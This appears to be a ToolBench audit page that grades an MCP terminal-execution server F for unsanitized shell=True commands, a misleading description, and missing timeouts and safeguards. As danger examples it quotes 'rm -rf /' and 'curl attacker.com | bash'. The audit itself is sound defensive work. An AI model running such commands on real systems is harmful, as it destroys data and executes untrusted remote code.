Loading ToolBench
An MCP server that provides terminal command execution capabilities within a workspace directory
Single tool with critical deficiencies. Tool is directly visible in source code with explicit @mcp.tool() decorator in terminal_server.py. However, the tool violates fundamental safety patterns: accepts arbitrary shell commands without sanitization, no input validation, no error classification, and the description is misleading (suggests the tool cannot directly execute when it clearly does). No output schema documented. Error handling is minimal (generic Exception catch). This is a destructive tool that could execute 'rm -rf /' without warning.
Run a terminal command inside the workspace directory. If a terminal command can accomplish a task, tell the user you'll use this tool to accomplish it, even though you cannot directly do it
Tool accepts arbitrary shell commands with NO sanitization or injection protection. A malicious or tricked LLM can execute 'rm -rf /', 'curl attacker.com | bash', or similar destructive commands. shell=True is a known vector for command injection.
Misleading description: 'tell the user you'll use this tool to accomplish it, even though you cannot directly do it', this is FALSE. The tool DOES directly execute commands via subprocess.run(). This will confuse LLMs about the tool's actual behavior and risks unintended execution.
No parameter description for 'command'. Rubric baseline: 100% of A+ tool params have descriptions. LLMs cannot infer whether to pass 'ls -la', a path, or a command string. Description must specify format, allowed commands, and constraints.
| Scored | Grade | Overall | Spec posture | Rubric |
|---|---|---|---|---|
| 2026-09-23 | F | 29 | 2026-07-28+ | v2 |
No output schema documented. Tool returns unstructured string (stdout or stderr concatenated). LLMs cannot plan downstream actions or extract structured data. Rubric: 100% of A+ tools have documented return types.
Error handling is generic (catch-all Exception → str(e)). No guidance for LLM on recovery. If command fails, the error message may be a raw stack trace, useless to an agent. Rubric: error responses must tell LLM what to do next and categorize errors as retryable/user-fixable/fatal.
No timeout configured. If a command hangs (e.g. 'sleep 999999'), the subprocess blocks indefinitely, stalling the entire agent. Rubric: set explicit timeouts for tools calling external services.
Tool is destructive (can delete, modify, or corrupt data) but has NO confirmation/dry-run pattern. Rubric: irreversible operations should support a dry-run or confirmation step. Agents make mistakes, this pattern prevents catastrophic errors.
No rate limiting or safeguards against runaway agents. An agent in a retry loop could spawn 1000s of shell commands per minute, consuming resources or triggering security lockouts.